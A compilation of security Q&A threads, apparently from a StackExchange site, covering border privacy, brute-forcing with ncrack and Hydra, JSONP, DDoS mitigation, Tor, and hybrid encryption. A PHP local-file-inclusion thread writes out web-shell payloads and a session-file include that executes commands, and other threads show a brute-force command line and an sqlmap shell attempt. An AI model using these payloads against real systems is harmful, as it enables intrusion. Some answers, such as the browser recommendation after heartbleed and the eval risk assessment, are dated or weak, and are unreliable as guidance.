Privacy concerns while traveling with HDDs I'm traveling to UK for college and I'm bringing 2x2TB drives with me. I'm concerned about my privacy when going through the border as they might search the drives. So I came up with the following things that I can do:

Encryption, but UK (and some other countries) has the RIPA; I'll have to surrender my keys if they really want to inspect the content
Mail the drives
Download the content via SCP (not practical as the data is about 2.8TB)

Also, TrueCrypt died not long ago and suggests BitLocker, which is what I'm already using right now.

Now the real question:

What If I construct a software RAID 0 using ZFS + encrypt the drive.
So now they can't really access the drive unless they've got a BSD box with the correct configuration.

An example would be setting up a FreeNAS box in a VM and then setup the 2 HDDs with ZFS; when I travel, I simply don't take the VM files with me. That way, even if border agencies ask for decryption, it would be very hard to actually extract data because of lack of equipment. (And I can't assist them because I don't have the VM with me)

Another way that might work is that I compress my entire data into tar /7z archive that is encrypted. They will just see a big blob of binary and can't really scan it.

TL;DR:
If I stored my data on some disk configuration that is not popular(ZFS) or hard to access, will border agencies still try to access my data?

If any of your solutions are about the government not knowing how to decrypt or detect a filesystem is wrong. They have equipment to make anything, so don't count on hiding anything from them. If they are suspicious, they can simply confiscate your drives and you will never sww those again.

I would create a encrypted RAID 0 array (or LVM partitions) using both disks, and mail them using separate couriers, on separate dates, to separate destinations. Couriers are less likely to open your mail and read your disks.


Testing Basic Authentication with ncrack I'm conducting some basic pen testing against a page protected with Basic Authentication.  I've sucessfully tested with Medusa and Hydra but am struggling to get the syntax correct for ncrack.

The syntax I have been using usually gives the following error (which I am not entirely sure what it means)

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2014-05-10 13:37 EDT
Failed to resolve given hostname/IP: . Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges*

the web page is hosted on a local vm pointing to the webpage /~alice/secret/

ncrack -m http -U users -P adobe25 http://webserver_ip -path /~alice/secret/

Any help on explaining/fixing this syntax would be greatly appreciated.

The path option needs to be used in conjunction with the -g (global) or -m (module-specific) option, like so:

ncrack -m http -U users -P adobe25 http://webserver_ip -g path=/~alice/secret/

Please note, however, that Ncrack is not maintained. You would probably be better off using Nmap's http-brute script. From the Ncrack web page:

  Deprecation Notice: Ncrack was written as a "Google Summer of Code" Project in 2009. While it is useful for some purposes, it is unfinished, alpha quality software and isn't currently maintained. Instead, we generally recommend the brute force scripts included as part of Nmap's Scripting Engine (NSE).

EDIT: In spring of 2016, Ncrack's primary author Ithilgore began work again on Ncrack. It is again under active development on Github.


What are the potential consequences of evaluating user input with client side JavaScript? I have a website into which a user enters a line equation (such as y=2x+5) and it displays the equation to them.

Currently, to plot the equation I'm simply running eval() on the input string, like this:

for (x = 0; x < max; x++) {
  y = eval(equation)
  values.push([x, y]);
}

Are there any security implications along with this? The results are neither stored anywhere on my server or shown to other users - so is this just the same as somebody typing a command into the command prompt, or could they do something else bad?

The eval can't cause anything unusually or exceptionally bad for the server. The server needs to be protected from arbitrary data being sent to it from potentially malicious HTTP(S) clients anyways. However, the eval can be easily abused to temporarily deface the site (only in the user's browser). You may want to implement some kind of filtering on the eval to guard against such pranks.


What are some viable, secure sources of entropy for a CSPRNG? I need some viable sources for entropy to seed a CSPRNG.
So far, I have:

JS Events
Web Crypto API
performance.now()
Timing for xmlHTTPRequests
etc.

Are there any other viable/secure entropy sources that I can use/access in JavaScript?

Fortunately, you don't have to choose. The xor function has the property that if you xor multiple independent source of entropy streams, the resulting output stream is going to have at least the entropy of the stronger source.

Web Crypto CSPRNG (Crypto.getRandomValues()) is all you will need to generate crypto keys. But if you for some reason don't trust the smart people who wrote your browser, you can just xor together the output of Web Crypto with other entropy sources of your choice, say request some random bits from random.org, the URL of some random advertising network, etc. Just mix them all together, it won't harm the entropy level.


can the value of request.getHeader("Host") be faked? Suppose if there is some code like

<a href="<%=request.getHeader("Host")%>/xxx/abc.do>SignIn

Can an attacker fake request.getHeader("host") to point 'SignIn' anchor to attacker's URL e.g. attacker.com/xxx/abc.do? If yes, how? If no, why not?

Not really.

request.getHeader() is a function that runs on the server and pulls information (in this case host) from the client's request header and places the string in the html it is fashioning.  The line of code you have provided is just a convenience (and good coding practice) that makes it so the developer does not have to change the server code if they move the app from say test.company.com to www.company.com.

However, for pen testing, I would recommend you look out for calls to request.getHeader() that make an access control decision based on on the result.  For example, if the sensitive.company.com page checked that request.getHeader("referer") equaled internal.company.com before allowing the client, this would be exploitable because the client can place whatever it wants in that field.

EDIT:
I would add the points made about DNS resolution and vhosts that are made in the answer to your other question Is Request.getHeader("host") vulnerable?.  If the 'host' was attacker.com, the request would have gone to attacker.com in the first place.


What is the difference between FTP Brute force with hydra and Metasploit? What is the difference between FTP Brute force with hydra and and FTP brute force with Metasploit ?

Both perform the same basic functionality for FTP password cracking in terms of word lists and brute force attempts. Metasploit has the added advantage that you can perform additional functions after you have gained access to the FTP service however.

I am not sure what the performance difference there will be between the two in terms of pure speed. That could make for a interesting comparison and would be the only area where a specialized tool such as Hydra could gain an advantage I suspect.


Why do some sites block pasting into username or password input fields? I use a few websites that prevent me from copying & pasting into the username or password fields. It's quite frustrating when using a password manager, and if anything I'd think it discourages users from good password-management because they're going to have to choose something they can type manually over and over again.

Are there actually any benefits to preventing the paste operation on an application or website?

In my opinion, I don't think it's a net win.  Those restrictions always frustrate me.

(I'm hoping someone here will post details about how to defuse or work around them.  Maybe a tweak to Firefox's user_prefs.js?  An extension?)

Presumably the reason why sites disable the password manager is because they're worried that Alice might sit down in front of Bob's browser and log into the web site as Bob, maybe purchasing something on Bob's tab.  This is particularly an issue for roommates, family members, etc. who live together with each other.  (See also "friendly fraud".)  A related risk is that Bob might actually purchase something, but then claim that Alice did it to get out of paying for it.  Presumably, the sites hope that by disabling the password manager, Bob will be forced to type in his password anew every time; Alice won't know the password and won't be able to type it in.

However, these restrictions come at a significant cost.  They make the website less usable and more annoying for users.  They also drive users to either select poor passwords (which may be more susceptible to password-guessing attacks) or to write down their passwords (potentially enabling roommates and family members to learn the password, leaving everyone back where we started).  For users who do trust everyone else who has physical access to their computer, these restrictions strictly decrease security.

Personally, I suspect most sites should be reluctant to employ such measures.  Odds are that you will annoy your users more than you will help them.  But you will be in a better position to make an informed decision.

If you do decide to employ such restrictions, you might consider providing users a way to opt out if they do not share their computer with others.  Perhaps this may only be of interest to power users, so I don't know if it's worth your time, but you could consider it.


using counter instead of salt for hashing I'm developing own protocol for secure message exchanging.
Each message contains the following fields: HMAC, time, salt, and message itself. HMAC is computed over all other fields using known secret key.

Protocol should protect against reply attack. On large time interval "time" record protects against replay attack (both sides should have synchronized clocks). But for protection against replay attack on short time intervals (clocks are not too accurate) I'm planning replace "salt" field with counter increasing every time, when new message is send. Receiving party will throw away messages with counter value less or equal to the previous message counter.

What I'm doing wrong?

Initial counter value can be different (I can use party identifier as initial value), but it will be known to the attacker (party identifier transmitted in unencrypted form).
(What is a good enough salt for a SaltedHash?)

But attacker can precompute rainbow tables for counter+1, counter+2, counter+3... if I will not use really random salt?

The main problem is that salts should preferably be globally unique to avoid existing rainbow tables.  If you choose to use hash 1,2,3,4,5,etc, there may exist a rainbow table for them already.  It's slightly less risky if you do it as increments from some random number that makes it unlikely to have an attack, however there isn't really any good reason to do this.  It is far better to use a random value for each.  It's not that much extra data to store.

As far as how it applies to your situation, it sounds like you are trying to exchange messages.  Hashes are not used for exchanging messages since they are one way.  They are only used to tell if someone else had the same value without storing the actual value.  A salt is generally only needed for passwords, not for message signing, so I'm not sure that salts and hashes even apply to what you are trying to do as it is described.


Can you decrypt a TLS stream byte by byte? Specifically, can you decrypt any stream up to an arbitrary byte?

Data in TLS is sent in TLS records, which can carry between 0 to 16KB of payload.

If you stop processing the received data at a TLS record boundary, there is no security problem I can see. The processed data was securely transmitted.

If you wish to stop processing data in the middle of a TLS record, you have a problem. You must verify the MAC for the whole record (and in CBC cipher suites also the padding), so you have to process the entire record. But if you don't verify the MAC, yes, you can decrypt a partial TLS record. Of course, because encryption is malleable, this is extremely insecure. The data in that record could have been easily changed by an attacker.


MD5 as X.509 Signature hash algorithm with TLS 1.2 and SChannel Is it correct that TLS 1.2 prohibits MD5 as a Signature hash algorithm in X.509 certificates used?
Is this just an SChannel + TLS 1.2 limitation?
Trying to find any webpage/documentation that is stating this explicitly in relation to TLS 1.2 or SChannel.
I've found the following in the TLS 1.2 RFC but I'm not sure if this is in relation to X.509 certificates or the TLS 1.2 protocol itself:

The MD5/SHA-1 combination in the pseudorandom function (PRF) has
been replaced with cipher-suite-specified PRFs.  All cipher suites
in this document use P_SHA256.

The MD5/SHA-1 combination in the digitally-signed element has been
replaced with a single hash.  Signed elements now include a field
that explicitly specifies the hash algorithm used.

TLS 1.2 was defined in RFC 5246.  That RFC does mention the use of MD5 as a possible hash algorithm and does not explicitly forbid it.  However, that RFC has been updated by RFC 8446, which specifies TLS 1.3.  That RFC modifies the requirements of TLS 1.2 and says the following of the SignatureScheme extension:

Some legacy pairs are left unallocated.  These algorithms are deprecated as of TLS 1.3.  They MUST NOT be offered or negotiated by any implementation.  In particular, MD5 [SLOTH], SHA-224, and DSA MUST NOT be used.

It is therefore completely forbidden to use MD5 for a signature in either TLS 1.2 or TLS 1.3, and the IANA has removed these algorithms from the specified list, so   they are no longer part of TLS.  As a result, the server can't send certificates that use MD5 because “all certificates provided by the server MUST be signed by a hash/signature algorithm pair that appears in [the client's negotiated] extension” and we've just established that MD5 is no longer valid in this extension.
It is also forbidden to use MD5 by the CA/Browser Forum, which regulates the Web PKI, although that doesn't prevent internal CAs from using it.  In any event, responsible parties are not using MD5 for any purpose.
The part you mentioned from the RFC is a little different.  In TLS 1.0 and 1.1, the PRF (pseudo-random function) used to generate session keys from the negotiated secret used a combination of MD5 and SHA-1.  This use was not insecure, but it ended up causing practical problems for cryptographic proofs of the security of the function, and in any event, nobody wanted to keep using MD5 and SHA-1.  As a result, the PRF was switched to use a single hash algorithm, which is much easier to reason about and model cryptographically, and avoids obsolete algorithms in favor or SHA-256 (or, in some cases, SHA-384).


How can ISPs handle DDoS attacks? How can an ISP with low bandwidth like 50 Gbps handle a DDoS attack with more than this? I know there is a solution called "Black Hole".

Is this enough to mitigate DDoS attacks or are there any other enterprise solutions?
What kind of DDoS mitigating services are now available?
Can CDN mitigate DDoS attack?

There are a number of strategies, each having their own costs and benefits. Here are a few (there are more, and variations):

blackholing

By blackholing traffic, you discard all traffic towards the target IP address. Typically, ISP's try to use RTBH (remotely triggered blackholing), by which they can ask their upstream networks to discard the traffic, so it won't even reach the destination network. The benefit here is that it will not saturate the ISP's uplinks then. The biggest drawback here is that you do exactly what the attackers want: the target IP address (and thus the services running on it) is offline. However, the rest of the ISP's customers will not suffer from the attack, and the costs are low.

selective blackholing

Instead of blackholing an IP-address for the entire internet, it may be useful to change BGP routing for the targeted address range so that it's only reachable for parts of the internet. This is typically called 'selective blackholing' and is implemented by a number of large carriers. The idea is that many internet services only need to be available in a specific region (typically being a country or continent). For example, using selective blackholing, a Dutch ISP under attack could choose to have it's IP-ranges blackholed for traffic coming from China, while European IP's would be able to reach the targeted address. This technique can work very well if attack traffic is coming from very different sources than regular traffic.

scrubbing

A nicer solution is to use a scrubbing center, usually hosted outside the ISP's network as a service. When under DDoS attack, the ISP redirects traffic for that IP-range to the scrubbing center. The scrubbing center has the equipment to filter unwanted traffic, leaving a stream of (mostly) clean traffic which gets routed back to the ISP. Compared to blackholing this is a better solution since the services on the target IP remain available. The drawback is that most scrubbing centers are commercial, and can cost quite a lot. Also, scrubbing is not always easy, there can be both false positives (wanted traffic being filtered) and false negatives (unwanted traffic not being filtered).

traffic engineering

ISP networks usually have a number of connections to the internet via transit providers and/or internet exchange points. By making these connections, as well as links within the backbone of the ISP, much bigger than is needed for normal traffic patterns, the network can cope with DDoS attacks. However, there's a practical limit to this, since unused bandwidth capacity is costly (for example investing in 100Gbps equipment and upstream connections is very expensive and cost-inefficient if you're only doing a few Gbps) and this usually only moves the problem to somewhere within the network: somewhere there will be a switch, router or server with smaller capacity, and that will become the choke point.

With some attacks, ISP's may be able to balance incoming traffic in a way so not all external connections will be flooded, and only one or a few will become saturated.

Within larger networks, it's possible to create a "sinkhole" router which only attracts traffic for the IP-range under attack. Traffic towards all other IP-ranges gets routed over other routers. This way, the ISP is able to isolate the DDoS to a certain degree by announcing the targeted IP-range in BGP only on the sinkhole router, while stopping announcement of that IP-range on other routers. Traffic from the internet to that destination will be forced through that router. This may lead to all uplinks of that sinkhole router being saturated, but uplinks on other routers will not be flooded and other IP-ranges will not be affected.

The big drawback here is that the entire range in which the targeted IP is (at least a /24) may suffer from this. This solution is often the last resort.

local filtering

If the ISP has enough capacity on its uplinks (so they won't be saturated), they can implement local filtering. This can be done in various ways, for example:

adding an access list on routers rejecting traffic on characteristics like the source address or destination port. If the number of source IP-addresses in an attack is limited, this can work efficiently
implementing traffic rate limiters to reduce the amount of traffic to the target IP-address
routing traffic through local scrubbing boxes which filter unwanted traffic
implementing BGPFlowspec, which allows routers to implement an exchange filter rules using BGP (for example: 'reject all traffic from IP-address X to IP-address Y protocol UDP source port 123')

content delivery networks and load balancing

Web hosters can use content delivery networks (CDNs) to host their websites. CDNs use global load balancing and thus have enormous amounts of bandwidth and caching server clusters all over the world, making it hard to take down a website completely. If one set of servers goes down due to a DDoS, traffic gets redirected automatically to another cluster. A number of big CDNs also operate as scrubbing service.

On a somewhat smaller scale, local load balancing can be deployed. In that case, a pool of servers is available to host a website or web application. Traffic gets distributed over servers in that pool by a load balancer, thus increasing the amount of server capacity available, which may help to withstand a DDoS-attack.

Of course, CDNs and load balancing only work for hosting, it doesn't work for access ISP's.


Is this a secure way to handle a JSONP response? I am working on a non-critical script which will be run periodically - it's really just for the entertainment of the dev team. Because it's for fun, it does not really matter if it crashes sometimes (i.e.: I don't mind if upstream changes to the response format occasionally force me to update the script). However, it must be secure to run on my company's server.

The datasource for this script would be a JSONP response from a foreign server. I know that JSONP is not something I can fully trust to execute directly, since they could change their response to contain arbitrary JavaScript.

The response on the JSON page currently looks like this:

callback(INSERT_JSON_HERE);

If I extract the JSON by using a regex to remove the surrounding callback:

^callback\(([^)]*)\);$

and pass the extracted JSON string to JSON.parse(), will this approach be safe?

Reasoning: I am not executing any code directly from the foreign site. I just take a portion of their response which should contain JSON and pass it to JSON.parse(). If it does not contain JSON, JSON.parse will error out. If they change the callback or use some other code in place of the callback, the regex will not extract anything.

If all you are doing is extracting JSON server side, then what you are doing is "safe so far".

Remember, security is all about the context that the data is then used. After all, data is just 1s and 0s. It is when you output it to HTML you should make sure it is safe and cannot contain scripts, or when you put it into a database that you make sure it is passed as data rather than part of the query.


Is this a viable defense against correlation attacks? So, I guess most of you know that the true identity can be revealed if somebody controls the entry and the exit node of your Tor-connection.

Let´s say I´m connecting first to an encrypted VPN Server which keeps no logs and then to the Tor-network, then my identity should be safe from a basic correlation attack. However, if somebody with a lot of power (e.g the government) is spying on me they can request the logs of my ISP and see that I am connected to a specific VPN server (which is irrelevant since they keep no logs) and how much bandwith I requested at what exact time. In theory this means, the government could still make a correlation attack while ignoring my VPN Server by combinging the ISP logs and the timing/bandwidth used from the exit node.

But what if I had an inconsistent noise of dataflow combined to my surfing over Tor? Let´s say I load inconsistently a 144px YouTube video on my Firefox over my VPN while surfing on the Tor Browser. My ISP would see a semi-constant timings of data flowing to me and they would see video bandwidth + Tor bandwidth. However, they could not distinguish one from another which would make a correlation attack basically impossible.

Is this correct or am I missing something major?

This does not provide you with much benefit.
What you are referring to is called multiplexing, which is the act of sending multiple discreet signals through a single data channel. Unfortunately, it does not provide very much protection against traffic correlation attacks done by a global passive adversary. The reason is that each individual connection will have a different traffic fingerprint. For example, Tor uses 514-byte packets called cells, whereas a VPN does not, making it possible to identify Tor traffic and non-Tor traffic even when they are both being put through a VPN. The same applies to different types of websites. And streaming traffic on YouTube will not mask other traffic from loading an HTML page, since the buffering behavior on streaming sites can be trivially distinguished from the behavior of a web page being loaded.
As grim as this may seem, it's actually not all that bad. While intentionally trying to mask traffic by using overlapping connections may not be particularly effective, simply browsing multiple sites in multiple tabs can actually decrease the accuracy of existing website fingerprinting attacks. This works because most website fingerprinting algorithms rely on the assumption that subsequent connections are both to the same destination. When that assumption is broken, classification accuracy suffers.
There are viable defenses out there, however. WTF-PAD is an experimental protocol which provides low-latency and low-overhead cover against website fingerprinting and other types of traffic analysis attacks. It does this by varying the time and size of individual bursts of packets sent between your client and your guard node. Tor Project has been considering integrating it for a while now.
There are a number of research papers relating to anonymity networks on Free Haven.


Why can't all wireless cards perform packet injection? If a wireless card can send packets, why can't it inject packets?

All have to do to inject a packet is create a raw socket, construct a packet with the spoofed headers and then send the packet through the raw socket. This would require root/admin on most operating systems, but it would still be possible.

Some people give the argument that both reading/injection have to be happening simultaneously but you could just receive packets, parse data, stop reading and inject packets when necessary.

So why do some wireless cards not support packet injection, is there another limitation?

The term "packet injection" usually means interfering with a established session between two other devices, for which you need a driver that supports monitor mode.


Sql Injection and no priviliges to write files I have a sql injection in my site and im using sqlmap but when i try --os-shell it says cannot write file due to permissions . now is it impossible to write a file to the server?

You need to escalate privilige to write file.


PHP code in user session LFI filtered out Firstly, I make the obligatory disclaimer that everything I am doing here is legitimate and pre-authorized, etc., etc.

For those unfamiliar with user session local file inclusion in PHP, there's a nice example of it here in section 2.2.4: http://www.enye-sec.org/en/papers/web_vuln-en.txt

I am auditing a Web service that suffers an LFI vulnerability that can only be exploited via a session file include (I have no rights to read /proc/self/environs, Apache access/error logs, etc.). The contents of the original session file look like this (modified from the original for secrecy):

user|s:5:"user1";pass|s:4:"pass";sig|s:1:"0";

I can modify the sig parameter by using a proxy to intercept the Web traffic. For example, by changing sig=0 to sig=hello, I see:

user|s:5:"user1";pass|s:4:"pass";sig|s:5:"hello";

So far, so good. The problem comes when I try to inject PHP code instead of a text string. Using any of the code below, I see the same result:

<?php passthru($_GET['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php exec($_GET['cmd']); ?>

The session file registers the code string lengths correctly, but the contents are apparently filtered out.

user|s:5:"user1";pass|s:4:"pass";sig|s:28:"";

Either way, I cannot get my PHP code to run, as this returns nothing.

session=/tmp/sess_3ksjdx983klsjg1nsljd92lzs%00&cmd=uname -a

I feel like I'm missing something quite simple, but I'm not too experienced with PHP; thus, I'd very much appreciate any and all ideas.

While I would still like to know why the $_GET['cmd'] part of the code seems to pose a problem, I did find a workaround. Instead of calling on a GET variable, it turns out I could just execute the commands I want directly:

<?php system('uname -a'); ?>

And the contents are displayed to the Web page in question.


Security benefits of disconnecting from corporate VPN when not in use I worked for some companies that recommend cutting the VPN connection when not needed anymore while working remote. The VPN is just required to access internal sytems.

Nobody could tell me why, besides "lowering load from the company servers".

Are there any security concerns that came to your mind when using a VPN in a work related use case i.e. to access work files?

I assume you mean cutting the VPN from the client side, i.e. logging out of your VPN session.

Your VPN tunnel gives you access to servers which you normally do not have. This could be the file share you mentioned, an internal mail server, and so on. But this access is not limited to you as a person, but to the system establishing the VPN connection. This means, that an attack or a malware taking over your system has the same access. Leaving the VPN connection open longer than necessary, exposes those internal systems to a potential attacker. Therefore, cutting the connection when not needed, reduces the attack surface.

This also works the other way round. If a VPN endpoint is only required temporarily (e.g. a service access point for a third party), you should disable VPN access on the server side, when no one needs to log in. Again, the principle of reducing the attack surface guides us here.


Switch Private- and Public- key for Identification Today at the University we learned if Alice gives Bob her private key and vice versa, they can identify them self.
It make sense but is this good practice?
I always thought that Certificates are made for this scenerio?

if Alice gives Bob her private key and vice versa, they can identify them self

I think you've misunderstood something. For identification Alice does not give Bob her private key to identity herself.

Instead Bob issues a challenge (i.e. some random message) and Alice signs this challenge with the her private key. Bob then can verify this signature using Alice public key (which is public as the name says, i.e. known to Bob). And since Bob had control of the challenge he can be sure that Alice is currently in possession of the matching private key. Since only Alice should know this secret private key this can be used as a proof that this is Alice at the other end of the connection, i.e. proof of Alice identity.


What are the possible types of intrusions that a IDS protects against? I am implementing an IDS and just want to know that what are the possibilities with which the intrusion can occur. I am just doing a literature survey over the attacks possible so I want to know that what are the types of intrusions possible in host that can compromise the security of the system which can help make me the system better.

There are a few thousand CWEs used to classify tens of thousands of vulnerabilities.  That should come pretty close to addressing this problem.

Oah and don't forget about application/protocol specific encoding.   That is the bread and butter of IDS/IPS bypass.


Is letting users run lslogins on a shared host a security risk? I have an account on a shared host from which I run several websites, and I noticed that lslogins is working: I get a list of the other users on the machine, their UIDs, GIDs, time of last login, GECOS fields, last IP address from which login occurred, etc.

Would it be better for my provider to restrict lslogins or is this not something to worry about?

Unix and similarly Linux were designed to support multiple users from their very inception. As such, there is a fair amount of security to restrict a user's ability to attack other user's processes and such. While knowing who has an account on your machine may help you in an attack, it is likely not the key component, and not considered a terrible problem in the Linux model. This is fortunate as it can be difficult to restrict access to /etc/passwd file (the source of data for lslogins):

  It should have general read permission as many utilities, like ls use it to map user IDs to user names, but write access only for the superuser/root account.


Should a site have SSL if it doesn't have a login form? We have a site at work that is used for the following:

Our homepage, which is just some info and contact info.
Job applications are also handled on our site.

There is no place where you can login though.

I told management, seeing that we are a company that does software engineering, it would make a better impression on potential clients if our site had an SSL certificate and if we enforced SSL automatically on anyone's browser that visits the site.

Also, even though we use Google’s business Gmail, we still use the same domain name for our website as we use for email. In other words, user@company.com and our site is company.com.  In other words, potential clients would also get a bad impression if they realised we had no SSL certificate, as they would think that our email server is not sending over TLS.

Should we have an SSL certificate even though no "sensitive" or "important" data that needs to be encrypted will be sent or retrieved from our site?

It's all about what you're trying to achieve and/or mitigate with the use of SSL. Random people on the Internet cannot assess your company's information. So you need to keep this in mind: it all depends on the risk, the probability of the risk, and how far you would go to mitigate that risk.

@apsillers brings a good point about your job application forms as potential candidates will be submitting personal information with the confidence that they will go to the intended receiver. I also agree with the point about the appearance of a secure website and a more professional attitude when flashing that padlock to a potential customer, especially if your IT company offers security consultation, then it might be a good idea to use HTTPS.

Personally, I always lean towards using HTTPS, even for a Hello Kitty website.


Questions to hybrid encryption. RSA with AES I want to use a hybrid encryption in my application, so after reading a lot of lines I ended with this implemantation, please critizie it ;) (I want to stick to .Net)

byte[] aesKey = GetRandomBytes(256); // 256 Bits with RNGCryptoServiceProvider
byte[] aesIV = GetRandomBytes(128); // 128 Bits with RNGCryptoServiceProvider

Question: Should I encrypt the IV, in my understand this would be only secruity trough obscurity and don't add anything to my secruity.

Now I encrypt aesKey and aesIV with each PublicKey (Recipient).

foreach (RSACryptoServiceProvider key in keys)
{
    var data = new EncryptedData();
    data.Data = key.Encrypt(bytes, true); // with OAEP padding
    data.Fingerprint = CreateFingerprint(key); // SHA1 from the public key
    list.Add(data);
}

Question: If a don't store the Fingerprint, is it deniable?
Question: I read that the wrong padding could be a secruity issue, but what if I encrypt a random aes key?

If an passed 'sign == true' I sign the data with each privateKey (Sender), in normale case one key.

if (sign)
{
    foreach (RSACryptoServiceProvider key in privateKeys)
    {
        var hash = new SHA512Managed();
        byte[] hashBytes = hash.ComputeHash(data);
        byte[] signHash = key.SignHash(hashBytes, CryptoConfig.MapNameToOID("SHA512"));
        var item = new EncryptedData
            {
                Data = signHash,
                Fingerprint = CreateFingerprint(key)
            };
        encryptedData.Signatures.Add(item);
    }
}

Question: Is RSACryptoServiceProvider.SignHash the right method? (Or SignData?)
Question: I find different approaches, some want to sign the plain data and other the encrypted. What do yo think?

Now I encrypt the actual data

using (var rijAlg = new RijndaelManaged())
{
    rijAlg.KeySize = 256;
    rijAlg.Key = aesKey;
    rijAlg.IV = aesIV;
    rijAlg.Mode = CipherModeTextMode; // CipherMode.CBC
    rijAlg.Padding = PaddingModeTextMode; // PaddingMode.ISO10126, pad with random data

    using (var stream = new MemoryStream())
    using (ICryptoTransform encryptor = rijAlg.CreateEncryptor(rijAlg.Key, rijAlg.IV))
    using (var encrypt = new CryptoStream(stream, encryptor, CryptoStreamMode.Write))
    {
        encrypt.Write(data, 0, data.Length);
        encrypt.FlushFinalBlock();
        return stream.ToArray();
    }
}

At the end I searlize this object and send to Bob.

public class EncryptedDataHolder
{
    public IEnumerable<EncryptedData> EncryptedAesKeys { get; set; }

    public IEnumerable<EncryptedData> EncryptedAesIVs { get; set; }

    public IEnumerable<EncryptedData> Signatures { get; set; }

    public byte[] EncryptedContent { get; set; }
}

public class EncryptedData
{
    public byte[] Data { get; set; }
    public byte[] Fingerprint { get; set; }
}

Question: Would you add/remove information?

I saw this chart on http://www.keylength.com/en/compare/
http://i.imgur.com/msHcaIe.png
So I think I should use a 16384 bit RSA key to meet the secruity level of aes 256. This does work with csp = new RSACryptoServiceProvider(16384); but takes a few minutes.
Question: Is this approach reasonable?

Thanks a lot!

The IV is simply to prevent differential analysis between two different messages.  It is perfectly fine to be public and in fact needs to be accessible for decryption.

Encrypting for a user with their public key makes no statement about authentication.  It isn't a signature, so deniability is irrelevant.  There is no signature to attest to the original owner.

There are weaknesses in using the wrong padding for some algorithms.  I don't know if there are any that are particularly weak when you are using a more or less random value for your data, but why risk it?

I'm not familiar with the particular library, but according to the the comments I received, SignHash signs a precomputed hash where as SignData computes the hash and does the signature.  SignData would likely be better, but I'm not particularly familiar with that exact library, so this answer may be incorrect.  Note that signing would make it undeniable as it proves the original ownership.  If you don't want to prove original ownership, then signing is unnecessary and counterproductive as an attacker could also sign it and there would be no way to tell if it was genuine or not.

It seems like a pretty run of the mill asymmetric encryption of a symmetric data key.  It would be helpful to include the public keys paired with the encrypted AES keys.  This will help people lookup the correct key on the keyring to use for decryption.  Otherwise they would have to try them all to find the one that their private key unlocks.  Don't bother encrypting the IVs either, it's duplicate data and doesn't have to be secure. If a signature is necessary, don't store a collection of signatures, sign the main encrypted payload once for everyone.  Signing the keyring is unnecessary as a changed key won't decrypt the payload.

The approach seems reasonable and inline with standard approaches for dealing with it.  It's probably not the most solid implementation around, but I also don't see any super glaring issues.  You might want to consider looking for an existing library that handles the same thing though since you aren't doing anything unique.  (Though it isn't really a role your own issue since you are using established algorithms.)


How to prevent documents from being stolen via Linux live CD I have a PC with Windows installed on it (like most people), and I can retrieve data from it using a Linux Live CD if need be. However, it dawns on me that anybody could simply steal any information/data/documents off of my PC by using this same method, as the information is actually stored on one of the drives, and therefore accessible. I have already retrieved data in the past off of my PC when it BSOD, but it hadn't occurred to me then that anyone could grab my documents for themselves.

Would there be a way for me to prevent this from happening? After all, my data isn't actually secure, despite my PC being password protected under normal circumstances.

The solution to this is disk encryption. Enabling disk encryption will scramble the contents of the drive in a way such that only someone who possesses the encryption key can unscramble it and read the contents.

Fortunately, most modern operating systems have disk encryption features built in. If you have a Pro edition of Windows, you likely already have access to Bitlocker which is Microsoft's disk encryption tool. Just go to My Computer, right click your drive, and click "Turn on Bitlocker."

If you only have a Home edition of Windows and don't have access to Bitlocker, there are free and paid third-party tools you can use instead. Veracrypt comes to mind as one of the most reputable free solutions.


Would there be MITM attack even fix the heartbleed vulnerability? I have read this post askbuntu, the step to fix the heartbleed vulnerability almost:
1. upgrade openssl.
2. generte new keys.
3. revoke the old certificates.

Some posts say attackers may have got your server's private keys.
If there's the posibility attachers can use your old certificates and private keys do MITM attack?

I'm not clear about web browser's certificates verification. Maybe someone can give a more clear explaination.
this post Understanding Certificate Revocation Checks, it seems some webbrowsers default do not do server certificate revocation.

I think I understand the question as:

  If a servers' private keys have been compromised, won't a MITM attack
  be possible even if the heartbleed vulnerability has been patched?
  (given that not all browsers mandate Certificate Revocation List (CRL)
  checking?)

And I believe the answer is indeed yes.

Patching against the heartbleed vulnerability prevents any further disclosure of server memory contents. Generating new keys is a precaution in case the old keys did leak. Revoking the old keys by means of adding them to the CRL is a public notification the the old keys are no longer valid.

However, as you've noted, not all browsers thoroughly check CRLs by default. The text below is summarized from a Netcraft article published by Robert Duncan on 13th May 2013 so may no longer be entirely accurate):

  Firefox does not download CRLs for websites which use the most popular
  types of SSL certificate (all types of certificate except EV which is
  usually displayed with a green bar)...even if OCSP were available, by
  default Firefox will only check the validity of the server's
  certificate and not attempt to check the entire chain of certificates
  (again, except for EV certificates).

  Neither Google Chrome on Android nor Safari on iOS present a warning
  to the user even after being reset. Safari on iOS does not make
  revocation checks at all except for Extended Validation certificates
  and did not make requests for the CRL which would have triggered the
  revocation error message.

  Google Chrome, by default, does not make standard revocation checks
  for non-EV certificates...

  Microsoft's web browser, Internet Explorer is one of the most secure
  browsers in this context. It fetches revocation information (with a
  preference for OCSP, but will fallback to CRLs) for the server's
  certificate and the rest of the certificate chain...

  Along with Internet Explorer, Opera is secure by default: it prevents
  access to the webpage. Opera checks the entirety of the certificate
  chain using either OCSP or CRLs where appropriate.

Therefore it would be correct (I think) to conclude that the risk of MITM attacks against TLS connections has significantly increased. From the linked article, a good way to protect against such attacks would be to use IE or Opera when visiting important websites.


Is behavioural analysis (e.g. keystroke dynamics) a reliable security mechanism for MFA? The typical set of multi-factor categories is as follows:

Something you know (e.g. a password)
Something you have (e.g. a hardware token, or key file)
Something you are (e.g. a fingerprint or retina scan)

I'd argue that there is a fourth category - some behaviour you exhibit (or "something you do", to put it simply). This might be your gait (walking posture), your handwriting, or the way you type on a keyboard. It's often an extension of your physical form (e.g. musculature) that produces these behaviours, but they're also affected by psychology and often aren't as fixed as a physical attribute like a fingerprint.

I'm interested in how behavioural analysis can be used as a fourth authentication factor. I've worked on profiling keystroke dynamics before, using letter pair timings (e.g. average time between pressing 'q' and 'u') and various other metrics as a way to authenticate a person. My results were reasonably good; the profile I created authenticated me and denied access to several other people that attempted to gain access, though my testing wasn't particularly scientific or thorough.

However, I'm unsure as to how secure such metrics are on a larger scale. Are there any tried-and-tested mechanisms with known security margins and flaws? Are there any particular metrics that work better than others? Has there been any extensive research into this type of authentication factor? I'd certainly be interested to see any easily-digestable papers on the matter.

This has already been done by numerous vendors (click here), and patents have been on technologies similar to keystroke dynamics dating back as far as 1986 (click here or here).

